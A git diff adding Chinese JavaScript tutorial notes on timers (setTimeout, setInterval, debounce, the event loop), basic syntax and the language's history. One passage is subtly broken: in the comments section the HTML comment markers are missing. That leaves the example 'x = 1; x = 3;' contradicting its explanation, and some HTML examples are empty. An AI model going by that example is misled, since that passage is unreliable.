+setTimeout(f, 0)
+```
+
+除了前两个参数,`setTimeout`还允许更多的参数。它们将依次传入推迟执行的函数(回调函数)。
+
+```javascript
+setTimeout(function (a,b) {
+ console.log(a + b);
+}, 1000, 1, 1);
+```
+
+上面代码中,`setTimeout`共有4个参数。最后那两个参数,将在1000毫秒之后回调函数执行时,作为回调函数的参数。
+
+还有一个需要注意的地方,如果回调函数是对象的方法,那么`setTimeout`使得方法内部的`this`关键字指向全局环境,而不是定义时所在的那个对象。
+
+```javascript
+var x = 1;
+
+var obj = {
+ x: 2,
+ y: function () {
+ console.log(this.x);
+ }
+};
+
+setTimeout(obj.y, 1000) // 1
+```
+
+上面代码输出的是1,而不是2。因为当`obj.y`在1000毫秒后运行时,`this`所指向的已经不是`obj`了,而是全局环境。
+
+为了防止出现这个问题,一种解决方法是将`obj.y`放入一个函数。
+
+```javascript
+var x = 1;
+
+var obj = {
+ x: 2,
+ y: function () {
+ console.log(this.x);
+ }
+};
+
+setTimeout(function () {
+ obj.y();
+}, 1000);
+// 2
+```
+
+上面代码中,`obj.y`放在一个匿名函数之中,这使得`obj.y`在`obj`的作用域执行,而不是在全局作用域内执行,所以能够显示正确的值。
+
+另一种解决方法是,使用`bind`方法,将`obj.y`这个方法绑定在`obj`上面。
+
+```javascript
+var x = 1;
+
+var obj = {
+ x: 2,
+ y: function () {
+ console.log(this.x);
+ }
+};
+
+setTimeout(obj.y.bind(obj), 1000)
+// 2
+```
+
+## setInterval()
+
+`setInterval`函数的用法与`setTimeout`完全一致,区别仅仅在于`setInterval`指定某个任务每隔一段时间就执行一次,也就是无限次的定时执行。
+
+```javascript
+var i = 1
+var timer = setInterval(function() {
+ console.log(2);
+}, 1000)
+```
+
+上面代码中,每隔1000毫秒就输出一个2,会无限运行下去,直到关闭当前窗口。
+
+与`setTimeout`一样,除了前两个参数,`setInterval`方法还可以接受更多的参数,它们会传入回调函数。
+
+下面是一个通过`setInterval`方法实现网页动画的例子。
+
+```javascript
+var div = document.getElementById('someDiv');
+var opacity = 1;
+var fader = setInterval(function() {
+ opacity -= 0.1;
+ if (opacity >= 0) {
+ div.style.opacity = opacity;
+ } else {
+ clearInterval(fader);
+ }
+}, 100);
+```
+
+上面代码每隔100毫秒,设置一次`div`元素的透明度,直至其完全透明为止。
+
+`setInterval`的一个常见用途是实现轮询。下面是一个轮询 URL 的 Hash 值是否发生变化的例子。
+
+```javascript
+var hash = window.location.hash;
+var hashWatcher = setInterval(function() {
+ if (window.location.hash != hash) {
+ updatePage();
+ }
+}, 1000);
+```
+
+`setInterval`指定的是“开始执行”之间的间隔,并不考虑每次任务执行本身所消耗的时间。因此实际上,两次执行之间的间隔会小于指定的时间。比如,`setInterval`指定每 100ms 执行一次,每次执行需要 5ms,那么第一次执行结束后95毫秒,第二次执行就会开始。如果某次执行耗时特别长,比如需要105毫秒,那么它结束后,下一次执行就会立即开始。
+
+为了确保两次执行之间有固定的间隔,可以不用`setInterval`,而是每次执行结束后,使用`setTimeout`指定下一次执行的具体时间。
+
+```javascript
+var i = 1;
+var timer = setTimeout(function f() {
+ // ...
+ timer = setTimeout(f, 2000);
+}, 2000);
+```
+
+上面代码可以确保,下一次执行总是在本次执行结束之后的2000毫秒开始。
+
+## clearTimeout(),clearInterval()
+
+`setTimeout`和`setInterval`函数,都返回一个整数值,表示计数器编号。将该整数传入`clearTimeout`和`clearInterval`函数,就可以取消对应的定时器。
+
+```javascript
+var id1 = setTimeout(f, 1000);
+var id2 = setInterval(f, 1000);
+
+clearTimeout(id1);
+clearInterval(id2);
+```
+
+上面代码中,回调函数`f`不会再执行了,因为两个定时器都被取消了。
+
+`setTimeout`和`setInterval`返回的整数值是连续的,也就是说,第二个`setTimeout`方法返回的整数值,将比第一个的整数值大1。
+
+```javascript
+function f() {}
+setTimeout(f, 1000) // 10
+setTimeout(f, 1000) // 11
+setTimeout(f, 1000) // 12
+```
+
+上面代码中,连续调用三次`setTimeout`,返回值都比上一次大了1。
+
+利用这一点,可以写一个函数,取消当前所有的`setTimeout`定时器。
+
+```javascript
+(function() {
+ // 每轮事件循环检查一次
+ var gid = setInterval(clearAllTimeouts, 0);
+
+ function clearAllTimeouts() {
+ var id = setTimeout(function() {}, 0);
+ while (id > 0) {
+ if (id !== gid) {
+ clearTimeout(id);
+ }
+ id--;
+ }
+ }
+})();
+```
+
+上面代码中,先调用`setTimeout`,得到一个计算器编号,然后把编号比它小的计数器全部取消。
+
+## 实例:debounce 函数
+
+有时,我们不希望回调函数被频繁调用。比如,用户填入网页输入框的内容,希望通过 Ajax 方法传回服务器,jQuery 的写法如下。
+
+```javascript
+$('textarea').on('keydown', ajaxAction);
+```
+
+这样写有一个很大的缺点,就是如果用户连续击键,就会连续触发`keydown`事件,造成大量的 Ajax 通信。这是不必要的,而且很可能产生性能问题。正确的做法应该是,设置一个门槛值,表示两次 Ajax 通信的最小间隔时间。如果在间隔时间内,发生新的`keydown`事件,则不触发 Ajax 通信,并且重新开始计时。如果过了指定时间,没有发生新的`keydown`事件,再将数据发送出去。
+
+这种做法叫做 debounce(防抖动)。假定两次 Ajax 通信的间隔不得小于2500毫秒,上面的代码可以改写成下面这样。
+
+```javascript
+$('textarea').on('keydown', debounce(ajaxAction, 2500));
+
+function debounce(fn, delay){
+ var timer = null; // 声明计时器
+ return function() {
+ var context = this;
+ var args = arguments;
+ clearTimeout(timer);
+ timer = setTimeout(function () {
+ fn.apply(context, args);
+ }, delay);
+ };
+}
+```
+
+上面代码中,只要在2500毫秒之内,用户再次击键,就会取消上一次的定时器,然后再新建一个定时器。这样就保证了回调函数之间的调用间隔,至少是2500毫秒。
+
+## 运行机制
+
+`setTimeout`和`setInterval`的运行机制,是将指定的代码移出本轮事件循环,等到下一轮事件循环,再检查是否到了指定时间。如果到了,就执行对应的代码;如果不到,就继续等待。
+
+这意味着,`setTimeout`和`setInterval`指定的回调函数,必须等到本轮事件循环的所有同步任务都执行完,才会开始执行。由于前面的任务到底需要多少时间执行完,是不确定的,所以没有办法保证,`setTimeout`和`setInterval`指定的任务,一定会按照预定时间执行。
+
+```javascript
+setTimeout(someTask, 100);
+veryLongTask();
+```
+
+上面代码的`setTimeout`,指定100毫秒以后运行一个任务。但是,如果后面的`veryLongTask`函数(同步任务)运行时间非常长,过了100毫秒还无法结束,那么被推迟运行的`someTask`就只有等着,等到`veryLongTask`运行结束,才轮到它执行。
+
+再看一个`setInterval`的例子。
+
+```javascript
+setInterval(function () {
+ console.log(2);
+}, 1000);
+
+sleep(3000);
+
+function sleep(ms) {
+ var start = Date.now();
+ while ((Date.now() - start) < ms) {
+ }
+}
+```
+
+上面代码中,`setInterval`要求每隔1000毫秒,就输出一个2。但是,紧接着的`sleep`语句需要3000毫秒才能完成,那么`setInterval`就必须推迟到3000毫秒之后才开始生效。注意,生效后`setInterval`不会产生累积效应,即不会一下子输出三个2,而是只会输出一个2。
+
+## setTimeout(f, 0)
+
+### 含义
+
+`setTimeout`的作用是将代码推迟到指定时间执行,如果指定时间为`0`,即`setTimeout(f, 0)`,那么会立刻执行吗?
+
+答案是不会。因为上一节说过,必须要等到当前脚本的同步任务,全部处理完以后,才会执行`setTimeout`指定的回调函数`f`。也就是说,`setTimeout(f, 0)`会在下一轮事件循环一开始就执行。
+
+```javascript
+setTimeout(function () {
+ console.log(1);
+}, 0);
+console.log(2);
+// 2
+// 1
+```
+
+上面代码先输出`2`,再输出`1`。因为`2`是同步任务,在本轮事件循环执行,而`1`是下一轮事件循环执行。
+
+总之,`setTimeout(f, 0)`这种写法的目的是,尽可能早地执行`f`,但是并不能保证立刻就执行`f`。
+
+实际上,`setTimeout(f, 0)`不会真的在0毫秒之后运行,不同的浏览器有不同的实现。以 Edge 浏览器为例,会等到4毫秒之后运行。如果电脑正在使用电池供电,会等到16毫秒之后运行;如果网页不在当前 Tab 页,会推迟到1000毫秒(1秒)之后运行。这样是为了节省系统资源。
+
+### 应用
+
+`setTimeout(f, 0)`有几个非常重要的用途。它的一大应用是,可以调整事件的发生顺序。比如,网页开发中,某个事件先发生在子元素,然后冒泡到父元素,即子元素的事件回调函数,会早于父元素的事件回调函数触发。如果,想让父元素的事件回调函数先发生,就要用到`setTimeout(f, 0)`。
+
+```javascript
+// HTML 代码如下
+//
+
+var input = document.getElementById('myButton');
+
+input.onclick = function A() {
+ setTimeout(function B() {
+ input.value +=' input';
+ }, 0)
+};
+
+document.body.onclick = function C() {
+ input.value += ' body'
+};
+```
+
+上面代码在点击按钮后,先触发回调函数`A`,然后触发函数`C`。函数`A`中,`setTimeout`将函数`B`推迟到下一轮事件循环执行,这样就起到了,先触发父元素的回调函数`C`的目的了。
+
+另一个应用是,用户自定义的回调函数,通常在浏览器的默认动作之前触发。比如,用户在输入框输入文本,`keypress`事件会在浏览器接收文本之前触发。因此,下面的回调函数是达不到目的的。
+
+```javascript
+// HTML 代码如下
+//
+
+document.getElementById('input-box').onkeypress = function (event) {
+ this.value = this.value.toUpperCase();
+}
+```
+
+上面代码想在用户每次输入文本后,立即将字符转为大写。但是实际上,它只能将本次输入前的字符转为大写,因为浏览器此时还没接收到新的文本,所以`this.value`取不到最新输入的那个字符。只有用`setTimeout`改写,上面的代码才能发挥作用。
+
+```javascript
+document.getElementById('input-box').onkeypress = function() {
+ var self = this;
+ setTimeout(function() {
+ self.value = self.value.toUpperCase();
+ }, 0);
+}
+```
+
+上面代码将代码放入`setTimeout`之中,就能使得它在浏览器接收到文本之后触发。
+
+由于`setTimeout(f, 0)`实际上意味着,将任务放到浏览器最早可得的空闲时段执行,所以那些计算量大、耗时长的任务,常常会被放到几个小部分,分别放到`setTimeout(f, 0)`里面执行。
+
+```javascript
+var div = document.getElementsByTagName('div')[0];
+
+// 写法一
+for (var i = 0xA00000; i < 0xFFFFFF; i++) {
+ div.style.backgroundColor = '#' + i.toString(16);
+}
+
+// 写法二
+var timer;
+var i=0x100000;
+
+function func() {
+ timer = setTimeout(func, 0);
+ div.style.backgroundColor = '#' + i.toString(16);
+ if (i++ == 0xFFFFFF) clearTimeout(timer);
+}
+
+timer = setTimeout(func, 0);
+```
+
+上面代码有两种写法,都是改变一个网页元素的背景色。写法一会造成浏览器“堵塞”,因为 JavaScript 执行速度远高于 DOM,会造成大量 DOM 操作“堆积”,而写法二就不会,这就是`setTimeout(f, 0)`的好处。
+
+另一个使用这种技巧的例子是代码高亮的处理。如果代码块很大,一次性处理,可能会对性能造成很大的压力,那么将其分成一个个小块,一次处理一块,比如写成`setTimeout(highlightNext, 50)`的样子,性能压力就会减轻。
diff --git a/note/basic/grammar.md b/note/basic/grammar.md
new file mode 100644
index 0000000..f9c8e73
--- /dev/null
+++ b/note/basic/grammar.md
@@ -0,0 +1,376 @@
+原文:[[docs/basic/grammar|grammar]]
+# JavaScript 的基本语法
+
+## 语句
+
+JavaScript 程序的执行单位为行(line),也就是一行一行地执行。一般情况下,每一行就是一个语句。
+
+语句(statement)是为了完成某种任务而进行的操作,比如下面就是一行赋值语句。
+
+```javascript
+var a = 1 + 3;
+```
+
+## 变量
+
+### 概念
+
+变量是对“值”的具名引用。变量就是为“值”起名,然后引用这个名字,就等同于引用这个值。变量的名字就是变量名。
+
+```javascript
+var a = 1;
+```
+
+上面的代码先声明变量`a`,然后在变量`a`与数值1之间建立引用关系,称为将数值1“赋值”给变量`a`。以后,引用变量名`a`就会得到数值1。最前面的`var`,是变量声明命令。它表示通知解释引擎,要创建一个变量`a`。
+
+注意,JavaScript 的变量名区分大小写,`A`和`a`是两个不同的变量。
+
+变量的声明和赋值,是分开的两个步骤,上面的代码将它们合在了一起,实际的步骤是下面这样。
+
+```javascript
+var a;
+a = 1;
+```
+
+如果只是声明变量而没有赋值,则该变量的值是`undefined`。`undefined`是一个特殊的值,表示“无定义”。
+
+```javascript
+var a;
+a // undefined
+```
+
+如果变量赋值的时候,忘了写`var`命令,这条语句也是有效的。
+
+```javascript
+var a = 1;
+// 基本等同
+a = 1;
+```
+
+但是,不写`var`的做法,不利于表达意图,而且容易不知不觉地创建全局变量,所以建议总是使用`var`命令声明变量。
+
+如果一个变量没有声明就直接使用,JavaScript 会报错,告诉你变量未定义。
+
+```javascript
+x
+// ReferenceError: x is not defined
+```
+
+上面代码直接使用变量`x`,系统就报错,告诉你变量`x`没有声明。
+
+可以在同一条`var`命令中声明多个变量。
+
+```javascript
+var a, b;
+```
+
+JavaScript 是一种动态类型语言,也就是说,变量的类型没有限制,变量可以随时更改类型。
+
+```javascript
+var a = 1;
+a = 'hello';
+```
+
+上面代码中,变量`a`起先被赋值为一个数值,后来又被重新赋值为一个字符串。第二次赋值的时候,因为变量`a`已经存在,所以不需要使用`var`命令。
+
+如果使用`var`重新声明一个已经存在的变量,是无效的。
+
+```javascript
+var x = 1;
+var x;
+x // 1
+```
+
+上面代码中,变量`x`声明了两次,第二次声明是无效的。
+
+但是,如果第二次声明的时候还进行了赋值,则会覆盖掉前面的值。
+
+```javascript
+var x = 1;
+var x = 2;
+
+// 等同于
+
+var x = 1;
+var x;
+x = 2;
+```
+
+### 变量提升
+
+JavaScript 引擎的工作方式是,先解析代码,获取所有被声明的变量,然后再一行一行地运行。这造成的结果,就是所有的变量的声明语句,都会被提升到代码的头部,这就叫做变量提升(hoisting)。
+
+```javascript
+console.log(a);
+var a = 1;
+```
+
+上面代码首先使用`console.log`方法,在控制台(console)显示变量`a`的值。这时变量`a`还没有声明和赋值,所以这是一种错误的做法,但是实际上不会报错。因为存在变量提升,真正运行的是下面的代码。
+
+```javascript
+var a;
+console.log(a);
+a = 1;
+```
+
+最后的结果是显示`undefined`,表示变量`a`已声明,但还未赋值。
+
+## 标识符
+
+标识符命名规则如下。
+
+- 第一个字符,可以是任意 Unicode 字母(包括英文字母和其他语言的字母),以及美元符号(`$`)和下划线(`_`)。
+- 第二个字符及后面的字符,除了 Unicode 字母、美元符号和下划线,还可以用数字`0-9`。
+
+> JavaScript 有一些保留字,不能用作标识符:arguments、break、case、catch、class、const、continue、debugger、default、delete、do、else、enum、eval、export、extends、false、finally、for、function、if、implements、import、in、instanceof、interface、let、new、null、package、private、protected、public、return、static、super、switch、this、throw、true、try、typeof、var、void、while、with、yield。
+
+## 注释
+
+```javascript
+// 这是单行注释
+
+/*
+ 这是
+ 多行
+ 注释
+*/
+```
+
+此外,由于历史上 JavaScript 可以兼容 HTML 代码的注释,所以``也被视为合法的单行注释。
+
+```javascript
+x = 1; x = 3;
+```
+
+上面代码中,只有`x = 1`会执行,其他的部分都被注释掉了。
+
+需要注意的是,`-->`只有在行首,才会被当成单行注释,否则会当作正常的运算。
+
+```javascript
+function countdown(n) {
+ while (n --> 0) console.log(n);
+}
+countdown(3)
+// 2
+// 1
+// 0
+```
+
+上面代码中,`n --> 0`实际上会当作`n-- > 0`,因此输出2、1、0。
+
+## 区块
+
+JavaScript 使用大括号,将多个相关的语句组合在一起,称为“区块”(block)。
+
+对于`var`命令来说,JavaScript 的区块不构成单独的作用域(scope)。
+
+```javascript
+{
+ var a = 1;
+}
+
+a // 1
+```
+
+## 条件语句
+
+JavaScript 提供`if`结构和`switch`结构,完成条件判断,即只有满足预设的条件,才会执行相应的语句。
+
+### if 结构
+
+`if`结构先判断一个表达式的布尔值,然后根据布尔值的真伪,执行不同的语句。所谓布尔值,指的是 JavaScript 的两个特殊值,`true`表示“真”,`false`表示“伪”。
+
+```javascript
+if (布尔值)
+ 语句;
+
+// 或者
+if (布尔值) 语句;
+```
+
+### if...else 结构
+
+`if`代码块后面,还可以跟一个`else`代码块,表示不满足条件时,所要执行的代码。
+
+对同一个变量进行多次判断时,多个`if...else`语句可以连写在一起。
+
+```javascript
+if (m === 0) {
+ // ...
+} else if (m === 1) {
+ // ...
+} else if (m === 2) {
+ // ...
+} else {
+ // ...
+}
+```
+### switch 结构
+
+多个`if...else`连在一起使用的时候,可以转为使用更方便的`switch`结构。
+需要注意的是,`switch`语句后面的表达式,与`case`语句后面的表示式比较运行结果时,采用的是严格相等运算符(`===`),而不是相等运算符(`==`),这意味着比较时不会发生类型转换。
+
+```javascript
+var x = 1;
+
+switch (x) {
+ case true:
+ console.log('x 发生类型转换');
+ break;
+ default:
+ console.log('x 没有发生类型转换');
+}
+// x 没有发生类型转换
+```
+
+上面代码中,由于变量`x`没有发生类型转换,所以不会执行`case true`的情况。这表明,`switch`语句内部采用的是“严格相等运算符”,详细解释请参考《运算符[[docs/operators/comparison#严格相等运算符|comparison]]》一节。
+
+### 三元运算符 ?:
+
+```javascript
+(条件) ? 表达式1 : 表达式2
+```
+
+上面代码中,如果“条件”为`true`,则返回“表达式1”的值,否则返回“表达式2”的值。
+
+## 循环语句
+
+循环语句用于重复执行某个操作,它有多种形式。
+
+### while 循环
+
+`while`语句包括一个循环条件和一段代码块,只要条件为真,就不断循环执行代码块。
+
+```javascript
+while (条件) {
+ 语句;
+}
+```
+
+### for 循环
+
+`for`语句是循环命令的另一种形式,可以指定循环的起点、终点和终止条件。它的格式如下。
+
+```javascript
+for (初始化表达式; 条件; 递增表达式)
+ 语句
+
+// 或者
+
+for (初始化表达式; 条件; 递增表达式) {
+ 语句
+}
+```
+
+`for`语句后面的括号里面,有三个表达式。
+
+- 初始化表达式(initialize):确定循环变量的初始值,只在循环开始时执行一次。
+- 条件表达式(test):每轮循环开始时,都要执行这个条件表达式,只有值为真,才继续进行循环。
+- 递增表达式(increment):每轮循环的最后一个操作,通常用来递增循环变量。
+
+`for`语句的三个部分(initialize、test、increment),可以省略任何一个,也可以全部省略。
+
+```javascript
+for ( ; ; ){
+ console.log('Hello World');
+}
+```
+
+上面代码省略了`for`语句表达式的三个部分,结果就导致了一个无限循环。
+
+### do...while 循环
+
+`do...while`循环与`while`循环类似,唯一的区别就是先运行一次循环体,然后判断循环条件。
+
+```javascript
+do
+ 语句
+while (条件);
+
+// 或者
+do {
+ 语句
+} while (条件);
+```
+
+### break 语句和 continue 语句
+
+`break`语句和`continue`语句都具有跳转作用,可以让代码不按既有的顺序执行。
+
+`break`语句用于跳出代码块或循环。
+
+`for`循环也可以使用`break`语句跳出循环。
+
+`continue`语句用于立即终止本轮循环,返回循环结构的头部,开始下一轮循环。
+
+如果存在多重循环,不带参数的`break`语句和`continue`语句都只**针对最内层循环**。
+
+### 标签(label)
+
+JavaScript 语言允许,语句的前面有标签(label),相当于定位符,用于跳转到程序的任意位置,标签的格式如下。
+
+```javascript
+label:
+ 语句
+```
+
+标签可以是任意的标识符,但不能是保留字,语句部分可以是任意语句。
+
+标签通常与`break`语句和`continue`语句配合使用,跳出特定的循环。
+
+```javascript
+top:
+ for (var i = 0; i < 3; i++){
+ for (var j = 0; j < 3; j++){
+ if (i === 1 && j === 1) break top;
+ console.log('i=' + i + ', j=' + j);
+ }
+ }
+// i=0, j=0
+// i=0, j=1
+// i=0, j=2
+// i=1, j=0
+```
+
+**上面代码为一个双重循环区块,`break`命令后面加上了`top`标签(注意,`top`不用加引号),满足条件时,直接跳出双层循环。如果`break`语句后面不使用标签,则只能跳出内层循环,进入下一次的外层循环。**
+
+标签也可以用于**跳出代码块**。
+
+```javascript
+foo: {
+ console.log(1);
+ break foo;
+ console.log('本行不会输出');
+}
+console.log(2);
+// 1
+// 2
+```
+
+上面代码执行到`break foo`,就会跳出区块。
+
+`continue`语句也可以与标签配合使用。
+
+```javascript
+top:
+ for (var i = 0; i < 3; i++){
+ for (var j = 0; j < 3; j++){
+ if (i === 1 && j === 1) continue top;
+ console.log('i=' + i + ', j=' + j);
+ }
+ }
+// i=0, j=0
+// i=0, j=1
+// i=0, j=2
+// i=1, j=0
+// i=2, j=0
+// i=2, j=1
+// i=2, j=2
+```
+
+上面代码中,`continue`命令后面有一个标签名,满足条件时,会跳过当前循环,直接进入下一轮外层循环。如果`continue`语句后面不使用标签,则只能进入下一轮的内层循环。
+
+## 参考链接
+
+- Axel Rauschmayer, [Basic JavaScript for the impatient programmer](https://2ality.com/2013/06/basic-javascript.html)
diff --git a/note/basic/history.md b/note/basic/history.md
new file mode 100644
index 0000000..f5c266b
--- /dev/null
+++ b/note/basic/history.md
@@ -0,0 +1,187 @@
+# JavaScript 语言的历史
+
+## 诞生
+
+JavaScript 因为互联网而生,紧跟着浏览器的出现而问世。回顾它的历史,就要从浏览器的历史讲起。
+
+1990年底,欧洲核能研究组织(CERN)科学家 Tim Berners-Lee,在全世界最大的电脑网络——互联网的基础上,发明了万维网(World Wide Web),从此可以在网上浏览网页文件。最早的网页只能在操作系统的终端里浏览,也就是说只能使用命令行操作,网页都是在字符窗口中显示,这当然非常不方便。
+
+1992年底,美国国家超级电脑应用中心(NCSA)开始开发一个独立的浏览器,叫做 Mosaic。这是人类历史上第一个浏览器,从此网页可以在图形界面的窗口浏览。
+
+1994年10月,NCSA 的一个主要程序员 Marc Andreessen 联合风险投资家 Jim Clark,成立了 Mosaic 通信公司(Mosaic Communications),不久后改名为 Netscape。这家公司的方向,就是在 Mosaic 的基础上,开发面向普通用户的新一代的浏览器 Netscape Navigator。
+
+1994年12月,Navigator 发布了1.0版,市场份额一举超过90%。
+
+Netscape 公司很快发现,Navigator 浏览器需要一种可以嵌入网页的脚本语言,用来控制浏览器行为。当时,网速很慢而且上网费很贵,有些操作不宜在服务器端完成。比如,如果用户忘记填写“用户名”,就点了“发送”按钮,到服务器再发现这一点就有点太晚了,最好能在用户发出数据之前,就告诉用户“请填写用户名”。这就需要在网页中嵌入小程序,让浏览器检查每一栏是否都填写了。
+
+管理层对这种浏览器脚本语言的设想是:功能不需要太强,语法较为简单,容易学习和部署。那一年,正逢 Sun 公司的 Java 语言问世,市场推广活动非常成功。Netscape 公司决定与 Sun 公司合作,浏览器支持嵌入 Java 小程序(后来称为 Java applet)。但是,浏览器脚本语言是否就选用 Java,则存在争论。后来,还是决定不使用 Java,因为网页小程序不需要 Java 这么“重”的语法。但是,同时也决定脚本语言的语法要接近 Java,并且可以支持 Java 程序。这些设想直接排除了使用现存语言,比如 Perl、Python 和 TCL。
+
+1995年,Netscape 公司雇佣了程序员 Brendan Eich 开发这种网页脚本语言。Brendan Eich 有很强的函数式编程背景,希望以 Scheme 语言(函数式语言鼻祖 LISP 语言的一种方言)为蓝本,实现这种新语言。
+
+1995年5月,Brendan Eich 只用了10天,就设计完成了这种语言的第一版。它是一个大杂烩,语法有多个来源。
+
+- 基本语法:借鉴 C 语言和 Java 语言。
+- 数据结构:借鉴 Java 语言,包括将值分成原始值和对象两大类。
+- 函数的用法:借鉴 Scheme 语言和 Awk 语言,将函数当作第一等公民,并引入闭包。
+- 原型继承模型:借鉴 Self 语言(Smalltalk 的一种变种)。
+- 正则表达式:借鉴 Perl 语言。
+- 字符串和数组处理:借鉴 Python 语言。
+
+为了保持简单,这种脚本语言缺少一些关键的功能,比如块级作用域、模块、子类型(subtyping)等等,但是可以利用现有功能找出解决办法。这种功能的不足,直接导致了后来 JavaScript 的一个显著特点:对于其他语言,你需要学习语言的各种功能,而对于 JavaScript,你常常需要学习各种解决问题的模式。而且由于来源多样,从一开始就注定,JavaScript 的编程风格是函数式编程和面向对象编程的一种混合体。
+
+Netscape 公司的这种浏览器脚本语言,最初名字叫做 Mocha,1995年9月改为 LiveScript。12月,Netscape 公司与 Sun 公司(Java 语言的发明者和所有者)达成协议,后者允许将这种语言叫做 JavaScript。这样一来,Netscape 公司可以借助 Java 语言的声势,而 Sun 公司则将自己的影响力扩展到了浏览器。
+
+之所以起这个名字,并不是因为 JavaScript 本身与 Java 语言有多么深的关系(事实上,两者关系并不深,详见下节),而是因为 Netscape 公司已经决定,使用 Java 语言开发网络应用程序,JavaScript 可以像胶水一样,将各个部分连接起来。当然,后来的历史是 Java 语言的浏览器插件失败了,JavaScript 反而发扬光大。
+
+1995年12月4日,Netscape 公司与 Sun 公司联合发布了 JavaScript 语言,对外宣传 JavaScript 是 Java 的补充,属于轻量级的 Java,专门用来操作网页。
+
+1996年3月,Navigator 2.0 浏览器正式内置了 JavaScript 脚本语言。
+
+## JavaScript 与 Java 的关系
+
+这里专门说一下 JavaScript 和 Java 的关系。它们是两种不一样的语言,但是彼此存在联系。
+
+JavaScript 的基本语法和对象体系,是模仿 Java 而设计的。但是,JavaScript 没有采用 Java 的静态类型。正是因为 JavaScript 与 Java 有很大的相似性,所以这门语言才从一开始的 LiveScript 改名为 JavaScript。基本上,JavaScript 这个名字的原意是“很像Java的脚本语言”。
+
+JavaScript 语言的函数是一种独立的数据类型,以及采用基于原型对象(prototype)的继承链。这是它与 Java 语法最大的两点区别。JavaScript 语法要比 Java 自由得多。
+
+另外,Java 语言需要编译,而 JavaScript 语言则是运行时由解释器直接执行。
+
+总之,JavaScript 的原始设计目标是一种小型的、简单的动态语言,与 Java 有足够的相似性,使得使用者(尤其是 Java 程序员)可以快速上手。
+
+## JavaScript 与 ECMAScript 的关系
+
+1996年8月,微软模仿 JavaScript 开发了一种相近的语言,取名为JScript(JavaScript 是 Netscape 的注册商标,微软不能用),首先内置于IE 3.0。Netscape 公司面临丧失浏览器脚本语言的主导权的局面。
+
+1996年11月,Netscape 公司决定将 JavaScript 提交给国际标准化组织 ECMA(European Computer Manufacturers Association),希望 JavaScript 能够成为国际标准,以此抵抗微软。ECMA 的39号技术委员会(Technical Committee 39)负责制定和审核这个标准,成员由业内的大公司派出的工程师组成,目前共25个人。该委员会定期开会,所有的邮件讨论和会议记录,都是公开的。
+
+1997年7月,ECMA 组织发布262号标准文件(ECMA-262)的第一版,规定了浏览器脚本语言的标准,并将这种语言称为 ECMAScript。这个版本就是 ECMAScript 1.0 版。之所以不叫 JavaScript,一方面是由于商标的关系,Java 是 Sun 公司的商标,根据一份授权协议,只有 Netscape 公司可以合法地使用 JavaScript 这个名字,且 JavaScript 已经被 Netscape 公司注册为商标,另一方面也是想体现这门语言的制定者是 ECMA,不是 Netscape,这样有利于保证这门语言的开放性和中立性。因此,ECMAScript 和 JavaScript 的关系是,前者是后者的规格,后者是前者的一种实现。在日常场合,这两个词是可以互换的。
+
+ECMAScript 只用来标准化 JavaScript 这种语言的基本语法结构,与部署环境相关的标准都由其他标准规定,比如 DOM 的标准就是由 W3C组织(World Wide Web Consortium)制定的。
+
+ECMA-262 标准后来也被另一个国际标准化组织 ISO(International Organization for Standardization)批准,标准号是 ISO-16262。
+
+## JavaScript 的版本
+
+1997年7月,ECMAScript 1.0发布。
+
+1998年6月,ECMAScript 2.0版发布。
+
+1999年12月,ECMAScript 3.0版发布,成为 JavaScript 的通行标准,得到了广泛支持。
+
+2007年10月,ECMAScript 4.0版草案发布,对3.0版做了大幅升级,预计次年8月发布正式版本。草案发布后,由于4.0版的目标过于激进,各方对于是否通过这个标准,发生了严重分歧。以 Yahoo、Microsoft、Google 为首的大公司,反对 JavaScript 的大幅升级,主张小幅改动;以 JavaScript 创造者 Brendan Eich 为首的 Mozilla 公司,则坚持当前的草案。
+
+2008年7月,由于对于下一个版本应该包括哪些功能,各方分歧太大,争论过于激进,ECMA 开会决定,中止 ECMAScript 4.0 的开发(即废除了这个版本),将其中涉及现有功能改善的一小部分,发布为 ECMAScript 3.1,而将其他激进的设想扩大范围,放入以后的版本,由于会议的气氛,该版本的项目代号起名为 Harmony(和谐)。会后不久,ECMAScript 3.1 就改名为 ECMAScript 5。
+
+2009年12月,ECMAScript 5.0版 正式发布。Harmony 项目则一分为二,一些较为可行的设想定名为 JavaScript.next 继续开发,后来演变成 ECMAScript 6;一些不是很成熟的设想,则被视为 JavaScript.next.next,在更远的将来再考虑推出。TC39 的总体考虑是,ECMAScript 5 与 ECMAScript 3 基本保持兼容,较大的语法修正和新功能加入,将由 JavaScript.next 完成。当时,JavaScript.next 指的是ECMAScript 6。第六版发布以后,将指 ECMAScript 7。TC39 预计,ECMAScript 5 会在2013年的年中成为 JavaScript 开发的主流标准,并在此后五年中一直保持这个位置。
+
+2011年6月,ECMAScript 5.1版发布,并且成为 ISO 国际标准(ISO/IEC 16262:2011)。到了2012年底,所有主要浏览器都支持 ECMAScript 5.1版的全部功能。
+
+2013年3月,ECMAScript 6 草案冻结,不再添加新功能。新的功能设想将被放到 ECMAScript 7。
+
+2013年12月,ECMAScript 6 草案发布。然后是12个月的讨论期,听取各方反馈。
+
+2015年6月,ECMAScript 6 正式发布,并且更名为“ECMAScript 2015”。这是因为 TC39 委员会计划,以后每年发布一个 ECMAScript 的版本,下一个版本在2016年发布,称为“ECMAScript 2016”,2017年发布“ECMAScript 2017”,以此类推。
+
+## 周边大事记
+
+JavaScript 伴随着互联网的发展一起发展。互联网周边技术的快速发展,刺激和推动了 JavaScript 语言的发展。下面,回顾一下 JavaScript 的周边应用发展。
+
+1996年,样式表标准 CSS 第一版发布。
+
+1997年,DHTML(Dynamic HTML,动态 HTML)发布,允许动态改变网页内容。这标志着 DOM 模式(Document Object Model,文档对象模型)正式应用。
+
+1998年,Netscape 公司开源了浏览器,这导致了 Mozilla 项目的诞生。几个月后,美国在线(AOL)宣布并购 Netscape。
+
+1999年,IE 5部署了 XMLHttpRequest 接口,允许 JavaScript 发出 HTTP 请求,为后来大行其道的 Ajax 应用创造了条件。
+
+2000年,KDE 项目重写了浏览器引擎 KHTML,为后来的 WebKit 和 Blink 引擎打下基础。这一年的10月23日,KDE 2.0发布,第一次将 KHTML 浏览器包括其中。
+
+2001年,微软公司时隔5年之后,发布了 IE 浏览器的下一个版本 Internet Explorer 6。这是当时最先进的浏览器,它后来统治了浏览器市场多年。
+
+2001年,Douglas Crockford 提出了 JSON 格式,用于取代 XML 格式,进行服务器和网页之间的数据交换。JavaScript 可以原生支持这种格式,不需要额外部署代码。
+
+2002年,Mozilla 项目发布了它的浏览器的第一版,后来起名为 Firefox。
+
+2003年,苹果公司发布了 Safari 浏览器的第一版。
+
